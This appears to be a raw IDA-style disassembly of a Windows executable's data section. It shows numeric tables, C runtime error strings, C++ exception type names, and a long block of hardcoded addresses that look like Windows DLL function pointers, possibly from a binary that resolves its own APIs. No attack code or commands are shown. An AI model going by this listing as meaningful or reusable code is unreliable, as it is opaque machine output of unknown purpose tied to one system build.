		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43B078	dd 0C0000005h		; DATA XREF: sub_41EC6F+19o
					; sub_41EE17+Ar ...
dword_43B07C	dd 0Bh			; DATA XREF: sub_421A99+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43B0F0	dd 3			; DATA XREF: sub_41ECD6+58r
					; sub_42196C+C8r
dword_43B0F4	dd 7			; DATA XREF: sub_41ECD6+5Er
					; sub_42196C+CDr
dword_43B0F8	dd 0Ah			; DATA XREF: sub_41EE17+4r
					; sub_421A99+4r
dword_43B0FC	dd 8Ch			; DATA XREF: sub_41ECD6+82r
					; sub_41ECD6+8Fw ...
dword_43B100	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419A23:loc_419AE0o
					; sub_41DF48:loc_41DFC9o
dword_43B108	dd 2			; DATA XREF: sub_41F5B1+Eo
					; sub_41F5B1+28r
off_43B10C	dd offset aR6002FloatingP ; DATA XREF: sub_41F5B1+FCr
					; sub_41F5B1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 423B24h, 9, 423AF8h, 0Ah,	423AD4h, 10h, 423AA8h
		dd 11h,	423A78h, 12h, 423A54h, 13h, 423A28h, 18h, 4239F0h
		dd 19h,	4239C8h, 1Ah, 423990h, 1Bh, 423958h, 1Ch, 423930h
		dd 78h,	423920h, 79h, 423910h, 7Ah, 423900h, 0FCh, 42941Ch
		dd 0FFh, 4238F0h
off_43B198	dd offset dword_4897C0	; DATA XREF: sub_41F5B1+1Bo
					; sub_41F76E+55o
		align 10h
		dd offset dword_4897C0
		dd 101h
dword_43B1A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F76E+72o
		dd 1000h, 0
dword_43B1B8	dd 3 dup(0)		; DATA XREF: sub_419A23+50o
					; sub_41A5A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43B1D8	dd 3 dup(0)		; DATA XREF: sub_419A23+58o
					; sub_41A5A2:loc_41A5C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43B208	dd 84h dup(0)		; DATA XREF: sub_41F76E+9Bo
dword_43B418	dd 2694h		; DATA XREF: sub_41BC55+3r
					; sub_41BCA8+46r ...
		align 10h
dword_43B420	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42037Ao
dword_43B438	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420390o
dword_43B450	dd 7080h		; DATA XREF: sub_41D309+76r
					; sub_42067A+5Ew ...
dword_43B454	dd 1			; DATA XREF: sub_41D309+98r
					; sub_42067A+8Bw ...
dword_43B458	dd 0FFFFF1F0h		; DATA XREF: sub_41D309:loc_41D3BBr
					; sub_42067A+94w ...
dword_43B45C	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_43B4DCo
dword_43B49C	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_43B4E0o
off_43B4DC	dd offset dword_43B45C	; DATA XREF: sub_42067A+BAr
					; sub_42067A+D9r ...
off_43B4E0	dd offset dword_43B49C	; DATA XREF: sub_42067A+F4r
					; sub_42067A+11Br ...
		align 8
dword_43B4E8	dd 0FFFFFFFFh		; DATA XREF: sub_42067A+1Dw
					; sub_4208D8+1Er ...
dword_43B4EC	dd 0			; DATA XREF: sub_4208D8:loc_420A0Cr
					; sub_420A84+BFw
dword_43B4F0	dd 0			; DATA XREF: sub_4208D8+192r
					; sub_420A84+E0w
		align 8
dword_43B4F8	dd 0FFFFFFFFh		; DATA XREF: sub_42067A+17w
					; sub_4208D8+26r ...
dword_43B4FC	dd 0			; DATA XREF: sub_4208D8+13Ar
					; sub_420A84+EAw ...
dword_43B500	dd 0			; DATA XREF: sub_4208D8+1A1r
					; sub_420A84+23r ...
dword_43B504	dd 0FFFFFFFFh		; DATA XREF: sub_420A84+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43B534	dd 16Dh			; DATA XREF: sub_41D309+2Ar
					; sub_420A84+2Er ...
dword_43B538	dd 0FFFFFFFFh		; DATA XREF: sub_420A84:loc_420B10r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43B570	dd 2 dup(0)		; DATA XREF: sub_421DF1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B6D0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_421DF1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43B82C	dd offset off_423CF8	; DATA XREF: .data:00423ED4o
					; .data:00423FACo
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43B844	dd offset off_423CF8	; DATA XREF: .data:off_423D88o
					; .data:00423DC8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43B864	dd offset off_423CF8	; DATA XREF: .data:off_423DD0o
					; .data:00423E14o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43B884	dd offset off_423CF8	; DATA XREF: .data:off_423E1Co
					; .data:00423E60o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43B8A8	dd offset off_423CF8	; DATA XREF: .data:off_423E68o
					; .data:00423EA4o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42059A
		align 8
byte_43B8C8	db 0			; DATA XREF: sub_401444+1C1w
					; sub_401444+2C0o
		align 2
word_43B8CA	dw 0			; DATA XREF: sub_401444+1D1w
word_43B8CC	dw 0			; DATA XREF: sub_401444+1D7w
word_43B8CE	dw 0			; DATA XREF: sub_401444+1DEw
byte_43B8D0	db 0			; DATA XREF: sub_401444+1E5w
byte_43B8D1	db 0			; DATA XREF: sub_401444+1ECw
word_43B8D2	dw 0			; DATA XREF: sub_401444+1F2w
dword_43B8D4	dd 0			; DATA XREF: sub_401444+220w
					; sub_401444+23Ew
dword_43B8D8	dd 0			; DATA XREF: sub_401444+246w
byte_43B8DC	db 0			; DATA XREF: sub_401444+258w
byte_43B8DD	db 0			; DATA XREF: sub_401444+26Bw
word_43B8DE	dw 0			; DATA XREF: sub_401444+283w
word_43B8E0	dw 0			; DATA XREF: sub_401444+292w
word_43B8E2	dw 0			; DATA XREF: sub_401444+28Aw
dword_43B8E4	dd 100h	dup(0)		; DATA XREF: sub_401444+2A7o
dword_43BCE4	dd 0			; DATA XREF: sub_4029C8+9Eo
byte_43BCE8	db 0			; DATA XREF: sub_4029C8+36r
					; sub_402AAB+37r ...
		align 4
dword_43BCEC	dd 7A5h			; DATA XREF: sub_4030A7+10w
					; sub_4030BE+30r ...
dword_43BCF0	dd 2 dup(0)		; DATA XREF: sub_403E73+68o
dword_43BCF8	dd 0			; DATA XREF: sub_403923+13o
					; sub_40EC43+60D3o ...
dword_43BCFC	dd 2080Ah		; DATA XREF: sub_404808+8w
					; sub_404904+2C9o
dword_43BD00	dd 2 dup(0)		; DATA XREF: sub_404904+1F8o
dword_43BD08	dd 0			; DATA XREF: sub_40586C+2Aw
					; sub_40586C+51r ...
dword_43BD0C	dd 0			; DATA XREF: sub_4030BE+AEr
					; .data:0040428Fr ...
dword_43BD10	dd 0			; DATA XREF: sub_40702C+18r
					; sub_40747F+92w ...
dword_43BD14	dd 0			; DATA XREF: sub_4075B8+1F7r
					; sub_4077CC+D9w ...
		dd 3E6h	dup(0)
dword_43CCB0	dd 6 dup(0)		; DATA XREF: sub_4075B8+C0o
					; sub_4075B8+129o ...
dword_43CCC8	dd 0			; DATA XREF: sub_4070A3+82w
					; sub_4070A3+FFo
dword_43CCCC	dd 41h dup(0)		; DATA XREF: sub_4070A3+41o
dword_43CDD0	dd 41h dup(0)		; DATA XREF: sub_4070A3+63o
dword_43CED4	dd 0			; DATA XREF: sub_4070A3+F5w
					; sub_4070A3+111r
dword_43CED8	dd 0			; DATA XREF: sub_4070A3+52w
dword_43CEDC	dd 0			; DATA XREF: sub_4070A3+4Dw
					; sub_4070A3+D2r
dword_43CEE0	dd 20h dup(0)		; DATA XREF: sub_4070A3+9Ao
					; sub_4070A3+B7o
dword_43CF60	dd 0			; DATA XREF: sub_4070A3+8Fw
dword_43CF64	dd 0			; DATA XREF: sub_4070A3+A4w
					; sub_4070A3+C1w
dword_43CF68	dd 0			; DATA XREF: sub_4070A3:loc_407269r
		align 10h
dword_43CF70	dd 0			; DATA XREF: sub_4070A3+2D5w
					; sub_4070A3+32Eo
dword_43CF74	dd 0A2h	dup(0)		; DATA XREF: sub_4070A3+2C3o
dword_43D1FC	dd 41h dup(0)		; DATA XREF: sub_4070A3+28Do
dword_43D300	dd 0			; DATA XREF: sub_4070A3+2BAw
					; sub_4070A3+2E1r
		align 8
dword_43D308	dd 0			; DATA XREF: sub_4070A3+324w
					; sub_4070A3+340r
dword_43D30C	dd 0			; DATA XREF: sub_4070A3+2E7w
dword_43D310	dd 0			; DATA XREF: sub_4070A3+2F4w
dword_43D314	dd 0			; DATA XREF: sub_4070A3+2B4w
		dd 0
dword_43D31C	dd 0			; DATA XREF: sub_4070A3:loc_40742Dr
dword_43D320	dd 0			; DATA XREF: sub_4070A3+190w
					; sub_4070A3+222o
dword_43D324	dd 41h dup(0)		; DATA XREF: sub_4070A3+152o
dword_43D428	dd 41h dup(0)		; DATA XREF: sub_4070A3+171o
dword_43D52C	dd 0			; DATA XREF: sub_4070A3+218w
					; sub_4070A3+234r
dword_43D530	dd 0			; DATA XREF: sub_4070A3+160w
dword_43D534	dd 0			; DATA XREF: sub_4070A3+1F5r
dword_43D538	dd 20h dup(0)		; DATA XREF: sub_4070A3+1A8o
					; sub_4070A3+1DAo
dword_43D5B8	dd 0			; DATA XREF: sub_4070A3+19Dw
dword_43D5BC	dd 0			; DATA XREF: sub_4070A3+1B2w
					; sub_4070A3+1E4w
dword_43D5C0	dd 0			; DATA XREF: sub_4070A3:loc_407307r
dword_43D5C4	dd 0			; DATA XREF: sub_40862B+Fr
					; sub_408824+12r
dword_43D5C8	dd 80h dup(0)		; DATA XREF: sub_40953F+41o
dword_43D7C8	dd 200h	dup(0)		; DATA XREF: sub_408E7C+C7o
					; sub_4091D7+DDo ...
dword_43DFC8	dd 200h	dup(0)		; DATA XREF: sub_408E7C+D6o
					; sub_4091D7+F4o ...
dword_43E7C8	dd 0			; DATA XREF: sub_408E7C+86w
					; sub_40904E+94r
dword_43E7CC	dd 0			; DATA XREF: sub_408E7C+A7w
					; sub_4094A8+55r ...
dword_43E7D0	dd 0			; DATA XREF: sub_408E7C+A0w
					; sub_40904E+D6r ...
dword_43E7D4	dd 0			; DATA XREF: sub_408E7C+79w
					; sub_40904E+35r ...
dword_43E7D8	dd 80h dup(0)		; DATA XREF: sub_4094A8+5Eo
dword_43E9D8	dd 0			; DATA XREF: sub_408E7C+93w
					; sub_40904E+A2r
dword_43E9DC	dd 0			; DATA XREF: sub_408E7C+E7o
					; sub_408E7C+103r ...
dword_43E9E0	dd 0			; DATA XREF: sub_4091D7+178w
					; sub_40937B+107w
dword_43E9E4	dd 0			; DATA XREF: sub_4091D7+17Dw
					; sub_40937B+10Dw ...
dword_43E9E8	dd 0			; DATA XREF: sub_4091D7+156w
					; sub_4094A8+4Fr
dword_43E9EC	dd 77C72C6Bh		; DATA XREF: sub_4083F0+210r
					; sub_4083F0+21Ar ...
dword_43E9F0	dd 77EBA994h		; DATA XREF: sub_409658+65w
					; sub_414F16+EEr
dword_43E9F4	dd 7622A3F4h		; DATA XREF: sub_409658+7EDw
					; sub_409658+862r ...
dword_43E9F8	dd 71C45229h		; DATA XREF: sub_409658+9BAw
					; sub_409658+A18r ...
dword_43E9FC	dd 71C24870h		; DATA XREF: sub_409658+96Cw
					; sub_409658+9E8r ...
dword_43EA00	dd 77C71BB0h		; DATA XREF: sub_4083F0+D1r
					; sub_409658+46Fw ...
dword_43EA04	dd 77D4808Bh		; DATA XREF: sub_402394+ECr
					; sub_402394+108r ...
dword_43EA08	dd 71C4502Ch		; DATA XREF: sub_409658+9ADw
					; sub_409658+A10r ...
dword_43EA0C	dd 77DE801Bh		; DATA XREF: sub_409658+354w
					; sub_409658+3A9r ...
dword_43EA10	dd 77DDACABh		; DATA XREF: sub_409658+3F1w
					; sub_40B6ED+11Er
dword_43EA14	dd 77DE8075h		; DATA XREF: sub_409658+361w
					; sub_409658+3B1r ...
dword_43EA18	dd 77DD7496h		; DATA XREF: sub_409658+3A2w
					; sub_40DAED+ADr
dword_43EA1C	dd 71AB1B7Bh		; DATA XREF: sub_405983+115r
					; sub_4082F7+76r ...
dword_43EA20	dd 77E686CCh		; DATA XREF: sub_409658+72w
					; sub_409658+D2r ...
dword_43EA24	dd 71C2498Bh		; DATA XREF: sub_409658+95Fw
					; sub_409658+9DBr ...
dword_43EA28	dd 77DDAB2Fh		; DATA XREF: sub_409658+388w
					; sub_409658+3C9r ...
dword_43EA2C	dd 7620E8C3h		; DATA XREF: sub_409658+83Bw
					; sub_409658+88Er ...
dword_43EA30	dd 77DD23D7h		; DATA XREF: sub_408A63+58r
					; sub_409658+2A5w ...
dword_43EA34	dd 76214750h		; DATA XREF: sub_409658+82Ew
					; sub_409658+886r ...
dword_43EA38	dd 77E6D75Bh		; DATA XREF: sub_409658+B3w
dword_43EA3C	dd 7620BD61h		; DATA XREF: sub_409658+848w
					; sub_409658+896r ...
dword_43EA40	dd 71AB60C9h		; DATA XREF: sub_407A23+7Er
					; sub_409658+52Fw ...
dword_43EA44	dd 77EBA6E9h		; DATA XREF: sub_409658+58w
					; sub_409658+CAr ...
dword_43EA48	dd 76D62A58h		; DATA XREF: sub_409658+916w
					; sub_40ADB1+11Ar
dword_43EA4C	dd 76F36EAAh		; DATA XREF: sub_409658+A66w
					; sub_409658+A6Dr ...
dword_43EA50	dd 77E802FCh		; DATA XREF: sub_409658+A6w
					; sub_409658+F2r
dword_43EA54	dd 77C75455h		; DATA XREF: sub_4083F0+119r
					; sub_409658+462w ...
dword_43EA58	dd 71AB12A7h		; DATA XREF: sub_407437+20r
					; sub_409658+5D8w ...
dword_43EA5C	dd 71C574FAh		; DATA XREF: sub_409658+9A0w
					; sub_409658+A08r
dword_43EA60	dd 71AB1746h		; DATA XREF: sub_402669+280r
					; sub_409658+5CBw ...
dword_43EA64	dd 71B28D0Dh		; DATA XREF: sub_402AAB+A7r
					; sub_409658+B21w
dword_43EA68	dd 762211EFh		; DATA XREF: sub_409658+7E0w
					; sub_409658+84Fr ...
dword_43EA6C	dd 77D902E3h		; DATA XREF: sub_409658+1B3w
					; sub_40AA4E+15r
dword_43EA70	dd 71C2FA86h		; DATA XREF: sub_409658+979w
					; sub_409658+9F0r ...
dword_43EA74	dd 77DE1291h		; DATA XREF: sub_409658+36Ew
					; sub_409658+3B9r ...
dword_43EA78	dd 77E2C1B3h		; DATA XREF: sub_409658+37Bw
					; sub_409658+3C1r ...
dword_43EA7C	dd 73B81E3Bh		; DATA XREF: sub_40862B+28r
					; sub_408824+2Br ...
dword_43EA80	dd 71ABF628h		; DATA XREF: sub_409658+68Ew
					; sub_415208+D0r
dword_43EA84	dd 71AB1836h		; DATA XREF: sub_4010B2:loc_4013B3r
					; sub_401A64:loc_401CE0r ...
dword_43EA88	dd 77C72889h		; DATA XREF: sub_4083F0+207r
					; sub_409658+496w
dword_43EA8C	dd 71C453F8h		; DATA XREF: sub_409658+9C7w
					; sub_409658+A20r ...
dword_43EA90	dd 77DD5C55h		; DATA XREF: sub_409658+2B2w
					; sub_409658+2DEr ...
dword_43EA94	dd 77E96645h		; DATA XREF: sub_409658+7Fw
					; sub_409658+DAr ...
dword_43EA98	dd 77428B97h		; DATA XREF: sub_409658+B6Ew
					; sub_409658+B75r ...
dword_43EA9C	dd 71AB41DAh		; DATA XREF: sub_4010B2+2Fr
					; sub_401A64+2Fr ...
dword_43EAA0	dd 762059A3h		; DATA XREF: sub_409658+807w
					; sub_409658+872r ...
dword_43EAA4	dd 71C4A1B4h		; DATA XREF: sub_409658+986w
					; sub_409658+9F8r
dword_43EAA8	dd 1F7CD214h		; DATA XREF: sub_409658+BDFw
					; sub_409658+C10r
dword_43EAAC	dd 77D4456Bh		; DATA XREF: sub_402394+40r
					; sub_402394+63r ...
dword_43EAB0	dd 76D629BBh		; DATA XREF: sub_409658+8FCw
					; sub_409658+910r ...
dword_43EAB4	dd 1F7B9D96h		; DATA XREF: sub_409658+BF9w
dword_43EAB8	dd 71AB1740h		; DATA XREF: sub_4010B2:loc_4013BFr
					; sub_401444+3Cr ...
dword_43EABC	dd 7620AFB6h		; DATA XREF: sub_409658+821w
					; sub_409658+855r
dword_43EAC0	dd 77D5C13Ah		; DATA XREF: sub_402394+50r
					; sub_402394+78r ...
dword_43EAC4	dd 77D45B19h		; DATA XREF: sub_40862B+3Fr
					; sub_40862B+69r ...
dword_43EAC8	dd 71AB157Eh		; DATA XREF: sub_409658+65Aw
					; sub_409658+786r ...
dword_43EACC	dd 71AB3E5Dh		; DATA XREF: sub_402DB1+20Ar
					; sub_4030BE+5Er ...
dword_43EAD0	dd 71AB14DCh		; DATA XREF: sub_402669+16Er
					; sub_409658+549w ...
dword_43EAD4	dd 0CC0004h		; DATA XREF: sub_409658+8BDw
					; sub_409658:loc_409F33w ...
dword_43EAD8	dd 77DD590Bh		; DATA XREF: sub_409658+28Bw
					; sub_409658+2C6r ...
dword_43EADC	dd 71ABD755h		; DATA XREF: sub_407BAA+98r
					; sub_409658+681w ...
dword_43EAE0	dd 77DF7311h		; DATA XREF: sub_409658+30Fw
					; sub_409658+323r ...
dword_43EAE4	dd 77DDA2AFh		; DATA XREF: sub_409658+395w
					; sub_409658+3D1r ...
dword_43EAE8	dd 1F7CD927h		; DATA XREF: sub_409658+BD2w
					; sub_409658+C08r
dword_43EAEC	dd 76206853h		; DATA XREF: sub_409658+7FAw
					; sub_409658+86Ar ...
dword_43EAF0	dd 77D4932Ch		; DATA XREF: sub_402394+FCr
					; sub_409658+206w ...
dword_43EAF4	dd 77D5E310h		; DATA XREF: sub_409658+18Cw
					; sub_409658+1D2r ...
dword_43EAF8	dd 76206B7Fh		; DATA XREF: sub_409658+814w
					; sub_409658+87Ar ...
dword_43EAFC	dd 71AB1444h		; DATA XREF: sub_406A71+244r
					; sub_409658+606w ...
dword_43EB00	dd 77DD189Ah		; DATA XREF: sub_408A63+196r
					; sub_409658+2BFw ...
dword_43EB04	dd 71AB3F8Dh		; DATA XREF: sub_4010B2+6Fr
					; sub_401444+AAr ...
dword_43EB08	dd 77DD5D20h		; DATA XREF: sub_409658+302w
					; sub_409658+316r ...
dword_43EB0C	dd 71AB1890h		; DATA XREF: sub_405983+F9r
					; sub_406A71+1FCr ...
dword_43EB10	dd 77C76B34h		; DATA XREF: sub_4083F0+16r
					; sub_409658+42Ew ...
dword_43EB14	dd 77D5E38Ch		; DATA XREF: sub_409658+199w
					; sub_409658+1DAr ...
dword_43EB18	dd 77DDA20Bh		; DATA XREF: sub_409658+347w
					; sub_409658+39Cr ...
dword_43EB1C	dd 76F36EEBh		; DATA XREF: sub_409658+A73w
dword_43EB20	dd 71AB12A7h		; DATA XREF: sub_4010B2+EBr
					; sub_4010B2+1F9r ...
dword_43EB24	dd 71AB1746h		; DATA XREF: sub_4010B2+87r
					; sub_4010B2+9Dr ...
dword_43EB28	dd 77EBA595h		; DATA XREF: sub_409658+4Bw
					; sub_409658+C2r ...
dword_43EB2C	dd 77C7531Dh		; DATA XREF: sub_4083F0+2Cr
					; sub_4083F0+38r ...
dword_43EB30	dd 77D4BDCAh		; DATA XREF: sub_409658+165w
					; sub_409658+1BAr ...
dword_43EB34	dd 71C3516Ah		; DATA XREF: sub_409658+9E1w
					; sub_40E3CC+72r
dword_43EB38	dd 71AB32CAh		; DATA XREF: sub_409658+667w
					; sub_409658+78Er
dword_43EB3C	dd 71AB5690h		; DATA XREF: sub_402669+206r
					; sub_402DB1+23Br ...
dword_43EB40	dd 1F7CB8F8h		; DATA XREF: sub_409658+BECw
					; sub_409658+C18r
dword_43EB44	dd 77EBB1E7h		; DATA XREF: sub_409658+3Ew
					; sub_409658+BAr ...
dword_43EB48	dd 77DD59F0h		; DATA XREF: sub_409658+298w
					; sub_409658+2CEr ...
dword_43EB4C	dd 71AB5DE2h		; DATA XREF: sub_405983+9Er
					; sub_407A23+9Cr ...
dword_43EB50	dd 71AB3ECEh		; DATA XREF: sub_402669+EBr
					; sub_405983+89r ...
dword_43EB54	dd 73B81B0Fh		; DATA XREF: sub_409658+C63w
					; sub_40EC43+45DAr
dword_43EB58	dd 76204E4Dh		; DATA XREF: sub_409658+85Bw
					; sub_40BA67+209r ...
dword_43EB5C	dd 0			; DATA XREF: sub_409658+112w
dword_43EB60	dd 1F7D886Ah		; DATA XREF: sub_409658+BB8w
					; sub_409658+BF3r
dword_43EB64	dd 71AB12F8h		; DATA XREF: sub_401444+119r
					; sub_401444+1A0r ...
dword_43EB68	dd 77C76551h		; DATA XREF: sub_4083F0+BCr
					; sub_409658+43Bw ...
dword_43EB6C	dd 77C729E2h		; DATA XREF: sub_4083F0+FBr
					; sub_409658+47Cw ...
dword_43EB70	dd 77C7212Fh		; DATA XREF: sub_4083F0+65r
					; sub_409658+448w ...
dword_43EB74	dd 71AB1AF4h		; DATA XREF: sub_402DB1+221r
					; sub_402DB1+249r ...
dword_43EB78	dd 77D5E303h		; DATA XREF: sub_409658+1A6w
					; sub_409658+1E2r ...
dword_43EB7C	dd 71C4576Ch		; DATA XREF: sub_409658+9D4w
					; sub_409658+A28r ...
dword_43EB80	dd 77D4702Fh		; DATA XREF: sub_40862B+53r
					; sub_40862B+7Fr ...
dword_43EB84	dd 77E6C0E3h		; DATA XREF: sub_409658+8Cw
					; sub_409658+E2r ...
dword_43EB88	dd 71AB1ED3h		; DATA XREF: sub_4010B2+2C2r
					; sub_401444+2C8r ...
dword_43EB8C	dd 71B2A381h		; DATA XREF: sub_409658+B14w
					; sub_409658+B30r
dword_43EB90	dd 77DDA595h		; DATA XREF: sub_409658+31Cw
					; sub_414EAB+55r
dword_43EB94	dd 77DD22EAh		; DATA XREF: sub_408A63+3Fr
					; sub_409658+27Ew ...
dword_43EB98	dd 773F97B0h		; DATA XREF: sub_409658+B7Bw
dword_43EB9C	dd 76D67A29h		; DATA XREF: sub_409658+ABDw
					; sub_40AC30+8Fr
dword_43EBA0	dd 76D674FAh		; DATA XREF: sub_409658+AB0w
					; sub_409658+AB7r ...
dword_43EBA4	dd 71AB3C22h		; DATA XREF: sub_401444+2Er
					; sub_401D6D+55r ...
dword_43EBA8	dd 71AB2BBFh		; DATA XREF: sub_407BAA+88r
					; sub_409658+674w ...
dword_43EBAC	dd 1F7BA3A9h		; DATA XREF: sub_409658+BC5w
					; sub_409658+C00r
dword_43EBB0	dd 71AB401Ch		; DATA XREF: sub_402669+28Dr
					; sub_406A71+250r ...
dword_43EBB4	dd 71C214BAh		; DATA XREF: sub_409658+993w
					; sub_409658+A00r ...
dword_43EBB8	dd 71AB868Dh		; DATA XREF: sub_405983+13Dr
					; sub_407A23+B3r ...
dword_43EBBC	dd 71AB1A6Dh		; DATA XREF: sub_4010B2+2FAr
					; sub_401444+2F4r ...
dword_43EBC0	dd 71AB155Ah		; DATA XREF: sub_405983+B7r
					; sub_405983+376r ...
dword_43EBC4	dd 71B22C25h		; DATA XREF: sub_4029C8+B0r
					; sub_4029C8+C8r ...
dword_43EBC8	dd 71AB5A01h		; DATA XREF: sub_4010B2+4Fr
					; sub_401A64+4Fr ...
dword_43EBCC	dd 71B2ACCBh		; DATA XREF: sub_409658+AFAw
					; sub_409658+B1Br
dword_43EBD0	dd 77E78C17h		; DATA XREF: sub_409658+31w
					; sub_409658+ADr ...
dword_43EBD4	dd 77D49A11h		; DATA XREF: sub_40862B+1ECr
					; sub_408824+232r ...
dword_43EBD8	dd 76D62A37h		; DATA XREF: sub_409658+909w
					; sub_409658+91Dr ...
dword_43EBDC	dd 77E6CBF9h		; DATA XREF: sub_409658+99w
					; sub_409658+EAr ...
dword_43EBE0	dd 0			; DATA XREF: sub_409658:loc_409756w
					; sub_409658+12Bw ...
dword_43EBE4	dd 0			; DATA XREF: sub_409658+126w
					; sub_40A2E5+1Cr
dword_43EBE8	dd 0			; DATA XREF: sub_409658:loc_409846w
					; sub_409658:loc_4098ADw ...
dword_43EBEC	dd 0			; DATA XREF: sub_409658+250w
					; sub_40A2E5+50r
dword_43EBF0	dd 0			; DATA XREF: sub_409658:loc_409942w
					; sub_409658:loc_409987w ...
dword_43EBF4	dd 0			; DATA XREF: sub_409658+400w
					; sub_40A2E5+84r
dword_43EBF8	dd 0			; DATA XREF: sub_409658:loc_409B3Ew
					; sub_40A2E5:loc_40A395r
dword_43EBFC	dd 0			; DATA XREF: sub_409658+4E1w
					; sub_40A2E5+B8r
dword_43EC00	dd 0			; DATA XREF: sub_409658:loc_409E0Fw
					; sub_40A2E5:loc_40A3C9r
dword_43EC04	dd 0			; DATA XREF: sub_409658+7B2w
					; sub_40A2E5+ECr
dword_43EC08	dd 0			; DATA XREF: sub_409658:loc_409EFAw
					; sub_409658+8D1w ...
dword_43EC0C	dd 0			; DATA XREF: sub_409658+8CCw
					; sub_40A2E5+120r
dword_43EC10	dd 0			; DATA XREF: sub_409658:loc_409F8Ew
					; sub_40A2E5:loc_40A431r ...
dword_43EC14	dd 0			; DATA XREF: sub_409658+931w
					; sub_40A2E5+154r
dword_43EC18	dd 0			; DATA XREF: sub_409658:loc_40A099w
					; sub_40A2E5:loc_40A465r ...
dword_43EC1C	dd 0			; DATA XREF: sub_409658+A3Cw
					; sub_40A2E5+188r
